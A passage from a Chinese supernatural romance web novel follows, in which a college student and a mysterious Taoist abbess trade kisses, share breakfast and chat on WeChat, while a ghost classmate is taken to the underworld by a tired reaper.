打好了网约车在门口等,穆若水两手抄在衣兜里,望进远处的夜色,背后及腰的长发一直吹到傅清微那边,傅清微悄悄摘下口罩,闻了闻晚风拂到鼻尖的发香。 今天的观主体贴得不像话,她一坐上车就伸手过来,托着她的脑袋,主动让她靠近自己肩膀上,柔声说:“睡吧。” 傅清微受宠若惊。 一边靠着观主睡觉一边想到了今晚应该和甘棠更新些什么。 【女主A和女主B好像在谈恋爱啊】 过了会儿,她睫毛忍不住剧烈动了动。 女主B不对劲! 穆若水确实不对劲,否则不会傅清微在客厅都睡着了她还在失眠。 辗转反侧的烦躁让她恨不得出去咬傅清微几口,像白天那样,埋在她的胸前,大口大口地吞吃,含出汁水。 她沸腾的血液才可以安静。 * 傅清微回来不久就睡了,经过一夜的彻底休息精力大幅回升,规律的生物钟让她在六点多钟睁开了眼睛,准备锻炼。 窗外天还没有亮。 沙发上坐着一个黑影,直勾勾地盯着她。 傅清微心脏突突了两下,几乎怀疑要犯没有得的心脏病,她努力看清了那人的脸部轮廓。 “……我的道长,你怎么半夜不睡觉又出来吓人啊?”傅清微要叫救命的程度,不能因为好看就不挑时机出现吧,再这么一惊一乍下去,她迟早做个短命鬼。 “我没有半夜不睡,是一夜没睡。”黑暗里的女人认真回她。 “为什么?” “睡不着。” “我是问为什么睡不着?” “不知道。” “所以你就出来找我?” “嗯。” 傅清微这颗柔软的心简直被泡得酸酸软软,她开了灯,柔声问她:“你就这么坐了一晚上,怎么不叫醒我?” “你、需要休息。”昨天消耗太大,今天要去程家,还有兼职,再休息不好这一天人要废了。穆若水平时对她胡作非为也是有考量的。 穆若水丝毫没意识到自己因为陷入茫然,答话一板一眼像个机器。 也可以换个形容,像个懵懂的幼儿。 这样的道长可从未见过,过了这村就没这店了。 傅清微向她招了招手,试探道:“过来?” 穆若水果然向她走过去,一夜未睡的脑子依然是一团浆糊,本能地靠近她心中的人。 傅清微把她抱进怀里,穆若水的脑袋顺势往下一沉,钻进她胸口。 傅清微:“……” 心智更小了,但也更色了。这是什么正相关吗??? 傅清微按住她解自己第二粒纽扣的手,她现在里面可没穿内衣,她还没准备好呢大早上的! “道长,你干吗?” “我有点热。”穆若水在她的心口闷闷地说道,好像声音是从傅清微心里发出来的一样,颤动着栖息的蝴蝶。 什么? 傅清微短暂的和她几次肌肤相亲,她都是冰冷的,有一次她的手摸上来更是冻得她直打哆嗦,她连唇都是冷的。 傅清微不敢相信地探向她的手腕,果然指尖触上去温热,傅清微捧着女人的脸抬起来,本来像桃花一样粉白的面庞开至荼蘼,眼尾也染上轻红。 傅清微与她额头相抵,试了试额温相差不大,应该不是发烧。 难道…… 傅清微心里咯噔一下,催情香的效果催到她自己了? “你还有没有哪里不舒服?”傅清微用手环着她的腰,尽量控制她万一出乎意料的动作。 “就是热。”女人的声音含混,胸口不让碰,穆若水只好上来亲她的脖子。 傅清微躲的没有她的唇追得快,只有忍耐的份。 “那……我帮你脱衣服?”她有点想半推半就,观主昨晚刚剪的指甲,应该可以。 她随着穆若水亲吻的动作深深浅浅地呼吸,手指摸到了观主的领口,紧张到指尖颤抖。 试了两次脱不掉。 手心都出汗了,她这才后知后觉应该先解腰带。 她的手摸到女人腰上,笨拙地两只手解着,白长了一双灵巧的手,根本不会解古代的腰带,按不开腰扣。 穆若水闭着的眼睛陡然睁开,发现她折腾半天一点进展都没有,放心地阖上了。 她甚至无声地笑了一下。 傅清微急得满头大汗,解不开女人的腰带,自己的腰肢倒是越来越软,手也渐渐使不上力气,从腰上离开,搂住女人单薄的肩膀。 “观主……” “嗯?”女人的唇舌已经来到她敏感的耳际,一遍遍濡湿她的耳垂,沿着脖颈后仰时拉长的那条优美曲线吻下去。 “我……待会要出门……”傅清微气息凌乱,一边喘气一边断断续续道,“不要……留下痕迹……嗯……” 罪魁祸首从她身前抬起头,满意地看着雪白肌肤上渐渐浮现的红印。 “你说的是这种痕迹吗?来不及了怎么办?”女人的声音充满无辜。 第49章 点点红痕浮现在白皙柔嫩的皮肤上, 宛如梅花开在雪中。 傅清微看不到,但感觉得到,它是怎么在唇齿间厮磨生长, 从雪地里开出一瓣瓣红梅, 由浅而深。 在她说完那句“来不及”以后, 穆若水仍在劳作,傅清微只能看见她的头顶, 满背的瀑布似的长发滑下来, 将她轻柔地包裹。 傅清微肩膀一片雪白,松了好几颗纽扣的衬衣挂在肘弯里, 在女人的呼吸落在她肩头时, 抬手轻轻按住了她的后脑。 然后闭上眼睛,彻底放松躺进沙发里。 穆若水忘乎所以地种了一路,她血液里持续一整夜的躁动终于有了平复的迹象, 她的鼻尖停在异常柔软的地方, 长睫抬起,睁眼刚好是一颗醒目的红痣。 皮肤暴露在空气中久了,会下意识的收缩毛孔抵御寒冷, 于是汗毛根根站立。 穆若水目光掠过她和汗毛一起立起来的红粉樱桃,伸手将她旁边早起未整理的被褥牵了过来,给她盖上。 她掖被子的动作颇为熟练,从腰一直掩到肩膀, 一丝风也透不进去。 穆若水坐在沙发边缘定定地看了她一会儿,感受了一番经脉里流淌的冷血, 说: “好了, 我不热了。” “……”傅清微在被子里曲了曲长腿,无言以对。 穆若水不承认理亏, 但是作出了补偿的实际行动:“你昨天累了,早餐吃丰盛一点?你有什么想吃的吗?” “……” 傅清微昨天一整天身体累的都不如今早上被她弄得不上不下的心累。 面对始终沉默的傅清微,穆若水清了清嗓子。 “那我自己看着做。” 然后她拍一拍衣袖,不带走半片云彩地走了,转身进了厨房。 只是许久都没有响起抽油烟机的声音。 傅清微躺在沙发里缓了好半天,双手颤抖地藏在被子里将衬衣的扣子扣上,又闭了一会儿眼睛,才起来进浴室洗澡。 ——带了手机。 从脖子到锁骨,锁骨到胸口,看得见的看不见的。 随着纽扣的一粒粒解开,都看见了。 傅清微昨天刚拍了照留念,今天就又要拍照了。 穆若水也料不到,前脚跟她说不要留下痕迹的女大,后脚便拿起手机趁着洗澡的工夫在卫生间的镜子面前高强度自拍。 纯情女大也有两副面孔。 就是今天另一副面孔的兴致也不是太高。 她关掉相机,在备忘录里记下不能告诉甘棠的内容。 【女主A要被女主B玩坏了,如果有可能,我希望是彻底玩坏一滴都没有的那种,而不是刚一滴就没有了——12/19】 傅清微前二十年从没有幻想过,导致她现在动不动幻想的根源不是她脑思维活跃,而是观主时常不按常理出牌的举动。只要不是块木头,面对观主这样的美人投怀送抱,耳鬓厮磨,都不会一点反应都没有。 傅清微起初只想享受不负责任的暧昧,毕竟观主不喜欢她,口头撩一撩对她寡了二十年的女大身心健康有好处。 现在观主依然不喜欢她,但已经不满足口头了,傅清微看向镜子里,这一身的吻痕,就是证据! 自己的心有没有动她不确定,但身体已经先被撩得七荤八素了,一次比一次有感觉。 她却连观主的腰带都解不开! 会不会一开始的暧昧就是错的?她根本玩不过观主,现在把自己置于如此危险的境地。 纷乱的画面来回放映在傅清微脑子里,兜头的热水淋下来,冲去了一身的黏腻潮湿,淋浴声在玻璃隔门内响起来。 傅清微闭着眼,任由自己被温热的水流包裹,耳边流过不绝的雨声,一片混乱的脑袋暂时得了清净。 卫生间前驻足的身影转身离去。 不一会儿厨房的油烟机声音也响了起来。 傅清微换了衣服,做完早课,坐到了香气扑鼻的餐桌前,瞬间原谅了观主早上的所作所为,甚至想让她再种几颗草莓。 她都记不得多久没有吃到新鲜出炉的肉包子了。 她立刻用筷子夹起一个肉包子,皮薄馅大,咬一口汁水四溢,穆若水在对面给她递了张纸,提醒道:“小心烫……” 傅清微接过纸巾擦了擦流下来的眼泪。 穆若水:“?” 傅清微感动道:“道长,你都不知道现在外面的包子有多难吃。” 刚下山的观主不懂。 “现在人类的生活条件不是很好吗?” “科技也带来了新的变化。” 傅清微给她科普了预制菜,预制包子,面点,煎蛋,出去吃饭叫人防不胜防,遍地踩雷。 肉包子这种食物,就算非预制,馅料也是个坑,就算幸运地避过了所有坑,刚出锅的包子绝对是口感最好的。 综上所述。 傅清微说:“我上一次吃包子已经是两年前了,咬下去一口淋巴肉,当场就吐了。” 穆若水同情道:“可怜。” 傅清微三两口吃完了一个包子,去夹下一个。 “还好我现在有了道长,又能吃包子了呜呜呜。” 穆若水忍俊不禁。 第一次在对面没有看书,而是托着脸颊看她。 现在的年轻人都这么可爱吗?还是只有她这么可爱? 傅清微连吃了三个,才想起来拍照,把剩下的三个摆在一起,拍照的时候心机地入镜了对面女人的一只手。 她吃完早餐才发朋友圈。 【魔镜魔镜告诉我,谁是世界上最幸福的女人?】 想了想,太直白了,万一被观主刷到,于是上网搜了搜文案改了一条: 【小腹三层,非一日之馋[开心]】 配图是刚拍的美食照片和观主的手。 傅清微朋友不多,可以说除了甘棠没有,但是谁没几个微信好友,大学同学、兼职加的各路社会好友,纷纷点赞。 健身房卖课兼职认识的熟人A:【你这小腹还三层,那我们岂不是不要活啦?】 熟人B:【包子哪里买的?地址又在哪里?】 傅清微回复:【自己在家做的】 熟人C:【我去,脱单啦???恭喜恭喜】 傅清微仗着观主看不见共同好友,回了个竖起食指的emoji:【嘘】 亲眼目睹503教室外“姐姐”亲耳朵盛况的同学D:【知道你在炫耀心灵手巧的姐姐了,口水从眼角流了出来】 傅清微回复:【[害羞]】 同学F:【这个手,这个青筋,斯哈斯哈,一看就很能干的样子】 傅清微根本不敢回,跳过了这条。 甘棠:【哟,终于不是色香味弃权了?】 傅清微:【滚】 甘棠发来疯狂私聊。 【花果山在逃母猴】:你俩管这叫好像在谈恋爱?这不就是在谈? 【花果山在逃母猴】:我跟你说,你要是脱单了不告诉我我跟你绝交 【花果山在逃母猴】:孩子馋死了,给口粮吃吧球球了,我是你俩忠实cp粉 傅清微一时不忍,把第一次拍的锁骨吻痕照发了一张过去。 下一秒察觉不妥,迅速撤回,存活时间不到十秒钟。 【花果山在逃母猴】:啊啊啊啊啊啊啊啊啊啊 【花果山在逃母猴】:这是什么这是什么这是什么?难道这就素传说中的…… 【傅清微】:素,但我真的没脱单 【花果山在逃母猴】:搁这玩起了先做后爱是吧?姐妹你真的背着我,满汉全席都吃上了 傅清微不知道如何评价这四个字,屏幕已经被甘棠的发疯塞满了,无非是“太好嗑了”“kswl”“不愧是你我的朋友”,然后顾影自怜,哀叹自己二十一年的单身狗生活。 要说满汉全席,估计观主很快也能给她安排上了,字面意义的满汉全席。 傅清微洗碗遁走。 回来发现占英也点了赞。 占英:【好嗑爱嗑,多发】 ——不是什么正经道士。 回去找她师父岁主任,又能做又能爱的,不比吃别人狗粮香。 傅清微回复:【明天去找你玩】 占英秒回:【好耶】 傅清微悄悄观察了坐在沙发的穆若水,显然道长还没有发掘出朋友圈的玩法,正在进行古老的娱乐——看书。 傅清微低头继续回消息,没注意穆若水在其后不久便抬起头,注视她唇角时不时浮起的古怪笑容。 傅清微揉了揉自己笑僵的脸。 甘棠又开始编排她俩了,但是她真的好喜欢和道长暧昧!不管了先暧昧着! 穆若水轻轻垂下眼,心想:原来也不是没有办法哄她。 甚至有点太好哄了,给口吃的就行。 穆若水淡淡地笑了一下。 * 八点半,二人出发去程玉汝家。 傅清微本来打算大清早就去,但占英说阴差九点才上班,程玉汝又安排在最后一个勾魂,至少半上午的才会过去,她去早了除了打扰一家三口团圆没别的用。 财务那边也问过了,今天安排打款,明天就到账。财务还解释了一下,说是因为信息录入的问题,导致她的工资卡没录上去,钱到位就行,傅清微假装信了。 傅清微来得不能说刚刚好,只能说不早不晚,程玉汝还没走,在家里,但是香炉里的生犀已经燃尽,妈妈爸爸看不到她了。 老两口眼皮红肿,都哭过,但是情绪还算稳定,不知道程玉汝和他们说了什么。 老两口把二人迎了进去,倒了两杯水。 程玉汝在边上道:“我跟他们说,现在人口老龄化严重,出生率这么低,投胎排队肯定没那么快,说不定要好几十年,我有空就托梦回来。说不定我们一家三口将来会在底下团聚。” 程妈妈刚好问起来这话真假,傅清微点点头附和:“是。地府也有公务员,说不定玉汝能考个编,上岸了以后还有探亲假呢。” 程玉汝:“……” 不是吧,死了还要考公??? 程妈妈知道程玉汝没走,对着空气笑中带泪道:“听见没有?考个地府公务员,将来我和你爸下去了,也是公职人员家属。” 程玉汝笑说:“知道啦。” 为了家人,她也会努力的。 傅清微转达了她的话:“玉汝说,她知道的。” 其实彼此都清楚只是美好的祝愿,死去的人那么多,有几个能考上地府编制。 做人要有奔头,做鬼也要有奔头。 穆若水捧起水杯低头喝水,程玉汝趁机冲傅清微迅速眨了一下眼睛。 傅清微:“?” 穆若水抬起头,程玉汝开始下意识哼歌,左看右看,就是不看她。 傅清微:“……” 太明显了好吗?是人都知道你有鬼。哦,已经是鬼了啊,那脑子不好也正常。 傅清微征求穆若水的意见:“我能和同学单独说会儿话吗?” 观主的脾气也不是时时都那么坏,偶尔还讲理,只一条要求。 穆若水:“不能牵手。” 傅清微:“绝对不牵。” 得到观主的首肯,傅清微同程玉汝来到阳台,程玉汝尽量控制自己不要回头看,以免穆若水察觉到什么。 她起先委婉道:“你要小心你的女朋友。” 傅清微隔着衣服摸了摸身上的吻痕,心思不知飘到了哪里:“嗯。” 程玉汝踮起脚尖看了一眼,脖子里都是红印,都不需要再往里看。 “……我说的不是这种小心。” “我知道。” “你知道?”程玉汝把那天晚上她威胁她妈妈的事和盘托出,倒没有抱怨什么的意思,毕竟结果是好的。就是普通人遇到那种动辄说要杀人的,心里发怵,又是傅清微的女朋友,她怕她有危险。 傅清微听完,恍然大悟地说:“怪不得阿姨这么快就被我说服了。” 程玉汝在旁边等了会儿,没等到她别的评价,说:“就这?” 傅清微笑笑:“谢谢,我知道了。” 程玉汝很担心她:“总之你平时多留个心眼,别因为初恋就心大。” “你怎么知道我是初恋?” “猜的,我猜的准吧?” “很准。”傅清微笑笑,往回看了一眼,观主正坐在沙发上无所事事玩自己的手,不管是不是情人眼里出西施,她就是觉得观主看上去很温柔。 穆若水和她对上了视线,冲她扬起了眉梢。 傅清微恋恋不舍地又看了好几眼,才记起晾在一边的程玉汝同学,说:“她脾气坏了点,心还是好的。对了我给你看她今天给我做的早餐,超好吃。” 程玉汝一脸“你没救了”,低头看向手机朋友圈。 “是还不错哈。” “是吧!味道也好。” “你把手拍进去什么意思?” “哈哈哈哈。” 女大和女大鬼在阳台同龄人说悄悄话不亦乐乎,客厅的穆若水坐不住了,起身走了过来。 程玉汝:“昨天你们俩在客厅,真的玩好大,我都不敢相信是你。” 傅清微还没来得及面红耳赤,后背便抵上了一具柔软的身体,穆若水的手绕过她的后腰,在前面扣住,下巴搁在她肩头。 说话间的热气就吐在傅清微耳边。 “我们俩一直玩很大。” 程玉汝:“……”捂眼不敢看,默默地飘走了,走的时候肩膀还在一颤一颤的。 傅清微转过来,低声对穆若水说:“你不要胡说啊喂,这下更让人误会了。”也不知道她听到前半段对话没有? 穆若水亲了亲她的侧脸:“反正她也要走了,误会有什么要紧?” 别说误会了,就是真信,她也不在乎别人的看法。 傅清微心说:是我会误会! 穆若水不想回到客厅和陌生人待在一起,也不让傅清微回去,抱着她说:“你离开太久,该陪我了。” 傅清微还能说什么,也只有一条。 “不要在外面亲我。” “嗯。” 早上她已经亲够了。 不过……凡事也有例外。 上次她以为吸完血,很久都不需要傅清微了。结果尝了她的眼泪欲罢不能,短短一个月又吸了第二、第三次血,更别提现在动不动就想在她身上制造出印记,这种莫名其妙的欲望。 穆若水从她纤细的脖颈往里看,锁骨上至少留下了四五个印记,阴影里看不清。 她干脆指尖撩开傅清微的领口,仔细确认了一遍,其实是六个,点点红梅绽放在雪白皮肤,深深浅浅的粉,皮下的淤红至少得一个星期才能褪去。 穆若水喉咙动了动。 明明已经确认过了,为什么她还是会觉得渴? “我想……”她一向直接。 “你不想。”傅清微慢条斯理地扣好了自己衬衣的扣子。 “那好吧。” 穆若水把口水咽了回去,安分地抱住她。 傅清微差点脱口出一句:真乖。 真要胆大妄为地说出来,可能不止六个这么简单,十六个都说不好。 上午十一点,牵着勾魂锁链的阴差姗姗来迟,耷拉着眼眉,赶鸭子上架似的,后边穿糖葫芦似的牵了一串儿鬼魂,都是在地铁遇难的。 他掏出平板,点开资料对了一下脸,说:“程玉汝,没错吧?” “对。” “阳间的身份证号码报一下。” 程玉汝流利地报出一串数字,阴差嗯了一声,丢给她一个手环——类似进游乐场快速通道的那种纸环凭证,简陋得超乎想象。 “戴手腕上,别撕了,没手环可进不了冥府。” “好。”程玉汝戴上了,啪叽,串糖葫芦最后面。 阴差垂着眼,全程都没看旁边那俩能看得见他的人,目中无人和穆若水有得一拼。 但傅清微有话要问:“阴差大人,请问地府考公务员难度怎么样?” 阴差吓一跳,提着锁链:“谁?谁?” 傅清微往中间走了两步,让自己进入他的视线,挥了挥手说:“我。您好。” “你好。”这个长着人样,气质也像个社畜散发着淡淡死意的阴差说,“比凡间容易点吧,卷考公的那批人还没死呢。不过地府公务员也就那样,吃的喝的都不如人间,我是后悔没去投胎了。别看我看上去二十来岁,已经打了三百年的工了。” 三百年的老社畜说:“地府也没有退休这一说,考上了就得干到死,哦,是灰飞烟灭。” 程玉汝吓得脸都白了。 怪不得地府公务员好考呢。 阴差刚精神一会儿眉眼又耷拉下去,慢吞吞地说:“虽然不能退休,但是有休假,一年也能休个十几天的长假,想考公的去冥司看招聘章程。” “谢谢您。” 阴差多留了一会儿,摸鱼打发时间,掐着中午下班的点儿才准时消失。 程家老两口什么都看不到,见傅清微不再对着空气说话了,便知道程玉汝已经离开了。 老两口都是接受过教育的体面人,真情实感地道谢,客客气气地送她们出门,大门一响,老两口呆呆地坐在沙发里出神,满脸木然,空旷和落寞留在人后。 傅清微和穆若水一道下楼,一上一下两道脚步声,和谐而规律。 傅清微站在大楼下,望了望正午的太阳,和那天她坐网约车去学校路过封闭的地铁口一样大。 当时有一位拿着雨伞一身黑衣的家属呆呆地站在地铁围挡外。 “那个人就是程爸爸。”傅清微低声说。 她放下挡住艳阳的手,这么好的阳光,希望他们能早点走出来看看。 穆若水在旁边眼睛一眨不眨地看着她。 显然是听不懂不感兴趣,但又喜欢看她,不管她说什么眼神都专注地看向她。 她不是什么看狗都深情的桃花眼,因为性情冷漠,不通人情,狭长的双眼看人的时候总带点冰冷,因为她是特殊的,冰冷中又带着克制。 万里冰川下涌动的暗流都在向她流动。 能让人轻易感受到、独一无二的偏爱。 傅清微不敢和那样的眼神对视太久,没有女人可以对特殊无动于衷。 傅清微在阳光下伸手抱住穆若水的腰,将额头轻轻地抵在她的身前,低低的开口。 “道长,你……想不想亲我一下?” 第50章 “道长, 你……想不想亲我一下?” 傅清微原本想说的并不是这句话。 不是想不想,而是能不能。 就在她们对视的那几秒钟,穆若水能不能就捧着她的脸靠近, 莫名其妙、没有理由地亲她一下。 你问到底是什么理由? 好吧, 她其实就是想接吻了。 但她又没有那个胆子, 也没有付出实际行动的勇气,害怕后果不是她想见到的。 傅清微的脸完全埋进她的肩窝, 传出来的话有些沉闷, 有些自我怀疑的惴惴不安,但还是清晰地送入了女人的耳中。 穆若水感受了一番自己身体内静静流动的血, 低下头和她说话的声音温柔。 “我还行, 你想吗?” “……”不解风情但不是无药可救。 傅清微不想放弃,于是仰起脸又一次问道:“可以吗?” 这次穆观主听懂了,她的左手顺势捧住了傅清微抬起来的下巴, 傅清微的头脸在平常人中算很小的, 穆若水手指长,手包上去就覆上她的半张脸,指尖落在太阳穴。 “可以。” 在听到女人这么回答以后, 傅清微闭上了眼睛,睫毛颤抖。 待会她是立刻张嘴呢还是等一下再张嘴? 早知道提前刷一些接吻的视频,现在临场了她脑海里一点能用的画面都没有。 要不今天先浅浅地亲一下,不舌吻了吧? 当然主要还是看观主的意思, 如果她想舌…… “啊!” 傅清微感觉自己的喉咙被野兽危险地衔住,脆弱的喉骨暴露在牙齿下, 一排牙齿逡巡过生命最薄弱的地方, 选择了相对温和的侧颈,亲吻舔舐。 “不要留下痕迹。”傅清微意识到她在做什么的时候心如死灰。 “好。”观主答得很干脆。 傅清微承受着她光天化日之下的亲吻, 眼皮上是灿烂的阳光,不无平静地想:这样下去她迟早变得不敏感。 穆若水也很费解,怎么会有人喜欢被咬脖子?难道傅清微已经被她驯化了?不咬就不舒服? 接下来的傅清微浑身散发出淡淡的死意,宛如一条挂在墙上晒干的咸鱼。 穆若水问她怎么了,她都以下午要去兼职搪塞过去。 她这十分的谎话里至少混了五成真,下午的项目就是上次害她迟到被白姝上身那个导演的,一万个不想去,还是要为钱折腰,所以穆若水并未看出来糟糕的精神状态和她有关。 中午两人在外面吃的,随便找了家餐馆,两份茶位费退了一份,结账的时候老板还亲自来检查桌子,生怕少算了钱。 傅清微这条咸鱼又腌入味了三分。 在打车去拍摄场地的网约车上,傅清微半死不活地靠在穆若水肩膀睡觉,穆若水和她说话她也有气无力,活像是抽空了筋骨。 “既然这么不想去,那就不去了。不就是半年的生活费吗?我补给你,一句话的事。” 傅清微吐了一个不存在的泡泡,仰起脸说:“不……行……” 穆若水看她这样心里不舒服,单手捏住她未来得及低下的脸,说:“怎么样你才能高兴一点?” 傅清微心说:除非你现在亲我一下。 傅清微眼皮半阖,像个树懒:“怎……样……都……不……行……” “人类真麻烦,要不我现在杀了你,当了鬼就不用上班了。” “……”您听听,这说的是人话吗? 傅清微坐了起来,稍微恢复了一点精力,语速也正常了:“我想了想,还是当人比较好。” 穆若水:“晚上你想吃什么?只要你说得出来买得到的菜,我都给你做。” 傅清微原谅这个世界的进度——百分之五十。 其实她还是不想上下午那个鬼班,导演又迟到了,她这次学乖了,才不早早换衣服等着,和穆若水窝在角落里说悄悄话,她一个人疯狂吐槽,观主当忠实听众,偶尔应和,时间没有那么难捱。 傅清微站累了,穆若水不仅让她靠,还会体贴伸手抱她的腰,好让她更好地靠在她怀里。 傅清微没吃过猪肉也见过猪跑,虽然观主不是她的女朋友,但有时候比女朋友还像女朋友。 暧昧令人上头,她也是搞上姐姐的人了。 傅清微原谅这个世界的进度——百分之八十。 傅清微午饭没有忌口,血液里的糖分快速上升,困意排山倒海,说着说着就没声音了,耳畔只余浅浅的呼吸声。 ……站着也能睡着。 穆若水用余光看着自己肩头抵着的脑袋,右手抬起来撩开她遮住脸颊的发丝…… 迟到大王全伟强导演进来的时候,便见到傅清微和一个戴黑色口罩的女人面对面抱在一起,那个女人摘下口罩,露出一张不亚于明星的漂亮的脸,偏头亲了亲傅清微的耳鬓。 女人手指灵活重新戴上口罩,全伟强咽了咽口腔里分泌过多的口水,才回过神怒气冲冲地大喊了一声:“谁TM让闲杂人等进来的?!” 剧组打瞌睡的人全醒了。 一位小哥走过来抱歉地朝穆若水笑了笑,小声说:“不好意思,我们导演他有点……劳驾在外面等吧。” 平时也没不让家属进这规矩,谁知道今天抽什么风。 傅清微赶在穆若水发火前,牵着她的手将她带出了拍摄场地所在的大房间,主动解衣服扣子:“你别生气。” 穆若水阻止了她的动作,说:“我没生气。” “真的?” “我看起来像那么容易生气的人吗?” “你不是像,你就是。快咬吧,一会儿我得进去换衣服了。” 穆若水摇头。 “你进去吧,我保证不生气。” 观主的保证还是有含金量的,傅清微一步三回头地走了。 里面传来导演的指桑骂槐声,傅清微早进了更衣室,耳不听为静,穆若水在外边摊开掌心,躺着一根短短的头发。 傅清微换完衣服,正在按排班表拍上一个人的戏份,今天是文戏,傅清微不用动拳脚,否则她身体也吃不消。 她在旁边揣摩待会的动作,导演今天愈发暴躁,嘴里不干不净骂骂咧咧就没停过,听得人眉头紧锁。 对面的演员有点受影响,ng了两次,全伟强面色发青地站起来,拿手指着他走过去:“我说你……” 砰—— 他正前方的日光灯管不知怎的爆开,碎碴子淋了他一头,虽然不像玻璃那么尖锐,但全伟强几乎谢顶的脑袋毫无遮拦,这一片灯管的碎渣还是划出了许多的红痕,头皮上浮现道道红肿。 全伟强惊恐地大叫了一声,工作人员慢慢吞吞地围过去,七嘴八舌地用0.75倍速问怎么了。 满地的碎渣子被清理走,全伟强照完镜子在头顶包了块毛巾,在机子前继续坐着盯戏,脸色阴得滴出水,嘴里却总算没那么多话了。 继被莫名其妙倒地的机器砸到脚、喝水被呛得脸红脖子粗,因为先迈左脚右脚绊倒电线摔了个大马趴之后,全伟强已经不想骂任何人,只想早点离开这间和他犯冲的屋子。 以前所未有的速度结束了拍摄,连五点都不到,傅清微在更衣室里见到了穆若水的身影。 观主来无影去无踪,想出现在哪就出现在哪。 傅清微看见她很高兴,但是让她当着女人的面换衣服还是太超过了,但穆若水没有转过去的意思。 傅清微只好直接提醒她:“你转过去。” 穆若水说:“我不能看吗?”早上不是都看到了。 傅清微红着脸压低声音:“不能。” 看可以看,但看完什么都不做就很过分! 穆若水转过去用背对着她。 一个人进更衣室却出来两个人没有引起其他人的注意,大家都在八卦导演,傅清微不感兴趣就没留下来听,好像是说什么离婚了老婆跟人跑了。 晚上她又从群里听说导演下班的路上出车祸,闯红灯被撞了。 傅清微立刻问:【严重吗?】 群友A:【不严重吧,车子报废了,听说人只受了轻伤,在医院躺着呢】 傅清微:【那就好】 别耽误她结尾款。 群里有个人问要不要组织去探望一下导演,石沉大海,没有人响应。 傅清微第一时间和穆若水分享了这个好消息,观主一边滑手机,一边慢条斯理地嗯了声,说:“可能他今天运势不好。” 傅清微点头:“我也这么觉得。” 全程没把这件事和眼前的女人联系到一起。 穆若水已经手下留情许多。她不畏惧红线的牵制,但众目睽睽下杀人会给傅清微惹来麻烦,如今这个社会变了许多,有很多办法比杀人更好解决问题。 比如随手给人转个运。 转运也不是平白让人倒大霉,平时全伟强闯那个红灯或许什么事都没有,今天他运势低,才会刚好出车祸。 归根结底,他不主动去闯红灯,就不会出事,一切是他咎由自取。 傅清微又和甘棠聊了会儿天,抬头看见观主坐在沙发里,姿势都没变过。 穆若水盯着手机已经很长一段时间了,这对一个半古不新的人来说很不寻常。 她只有看书或者看她会看那么久。 傅清微站起来,借助高度优势瞄到是微信界面,坏了,该不会摇一摇摇到了心怀不轨的企图和她网恋吧? 傅清微脑海警钟大作,坐了过去迅速瞟向她的手机界面。 好消息,不是网恋。 坏消息,是她的朋友圈。 怎么不是一种学坏呢? 傅清微没有关闭朋友圈的习惯,更不可能对穆若水设置权限,于是她就一路滑啊滑,从头看到尾,聚精会神,津津有味。 傅清微干笑了两声:“哈哈。”试图伸手抽走穆若水的手机。 穆若水不躲不避,手指的力度也没让她抽走。 页面正停留在一条:【明知山有虎,猛敲退堂鼓】 都是一些大学生发疯日常。 穆若水从表面看不出来,原来傅清微的精神状态这么令人堪忧……和可爱。 傅清微底气不足地求她:“不要看了吧?” 穆若水勾起唇角:“我不。” 傅清微盯着她唇角难得的笑弧,心里一下松快起来,说:“那好,你看吧。作为交换,待会你得答应我一个要求。” “行。” “你都不问问我是什么吗?”傅清微怔住。 “不用。” 这么相信她啊……傅清微有点想让她教自己怎么解她的腰带,人心黄黄。 女大前三年的生活实在太丰富了,兼职、健身、旅游特种兵、“美食”博主,她有一些朋友圈设置了分组可见,当然,观主的权限肯定是最高的。穆若水一时半会翻不完,打算下次再看,转念的工夫,傅清微已经伏在她的腿上睡着了。 她坐在小马扎上,上身前倾都趴在穆若水身上,长手长脚蜷着,一看就知道不舒服,但睡得很香。 就像白天一样。 穆若水不了解人类的感情,但膝头趴着年轻女人柔软的面庞,温顺的长发顺着她伸出的手滑下来,都落在她的掌心,那颗本不会跳动的心仿佛也感受到了温情。 不忍让她这么别扭地睡觉,穆若水弯下腰将她抱了起来放在了沙发上。 傅清微闭着眼,捉住了女人冰冷的衣袖,暗香浮动在她的鼻翼,喃喃说了两个字:“姐姐……” 穆若水动作一顿,眼底发冷,锐目看向沙发呓语的女生。 “你还欠我一个要求……” 原来是在叫她。 “睡醒了再提也不迟,我不会赖账。”穆若水温和地说,隔着被子轻轻拍了拍她的肩膀,哄她入睡。 傅清微最近觉多,本来是要睡了,挣扎着醒了过来,躺着说道:“给我看一眼你手机。” 穆若水的手机连锁都是傅清微设的,傅清微轻易地打开了,点进了她的微信。 联系人三个。 星标朋友:【傅清微】 剩下两个是岁已寒和占英这对冤种师徒。 岁已寒是傅清微看着她添加的,那么占英就是她自己通过的好友。 穆若水确认了她的说法。 “她加的我。” 占英在医院闲得发慌,听师父说观主会用微信了,立马赶来表忠心。 穆若水还给她起了备注:【小英子】 叫得还挺亲热。 傅清微在心里阴阳怪气。 虽然傅清微明知在观主心目中小英子恐怕和宫里的太监总管是一辈的。 岁已寒也有备注:【钱袋子】 就她自己没有! 不仅没有,她以前是默认ID名,【傅清微】是后来观主自己改的!最可气的是她改了备注,然后改了全名!连名带姓! 傅清微暗暗咬牙切齿。 有贼心然而没贼胆,傅清微把手机递还给了她,不痛不痒地说:“不要随便加陌生人。” 穆若水说:“我知道。” 她把附近功能都关掉了。 傅清微刚给她检查过,隐私之类的都关了,要不是她对手机兴趣不大,现在早就玩得比大多数年轻人还溜。她刚下山不久,对现代科技适应得如鱼得水,除了不能见生人以外……这一点也好多了,上上次陪她去教室,今天陪她去拍摄现场,都没有不良反应。 连全伟强惹恼她,她都没有生气,也没有要吸她的气息。 会不会再过不了多久,她就彻底不需要她了呢? 就像在程家那天,她消失在自己的眼前,自己却什么都做不到,只能等她又一次出现。 后来傅清微已经知道她当时在程家的屋子里,但并不能削弱哪怕一点她内心的恐惧感。 现在牵绊住她们俩在一起的,究竟是什么?它足够牢固吗? 她们之间的现状又能维持多久?如果现有的牵绊不存在了,她可以靠什么留住她? “道长,你有妹妹吗?” 穆若水想了想,说:“没有。” “我给你当妹妹好不好?” “为什么?” “我想成为你的亲人,永远在一起,可以吗?” “我没有亲人,也不需要亲人。”人类的感情软弱无用,偏偏又爱沉溺于此,才会如此脆弱。 女人的拒绝果断又冷漠。 “那你需要什么?” “我什么都不需要。”穆若水对上她从明转黯的眼睛,鬼使神差地吐出三个字,“除了你。” 傅清微张了张嘴,几百只蝴蝶在她的胃里飞舞,她连忙捂住了嘴,把自己的脸埋进枕头里,热气从脖子跑到耳根。 穆若水尤嫌不够似的,表白道:“我的意思是,我只要你。” 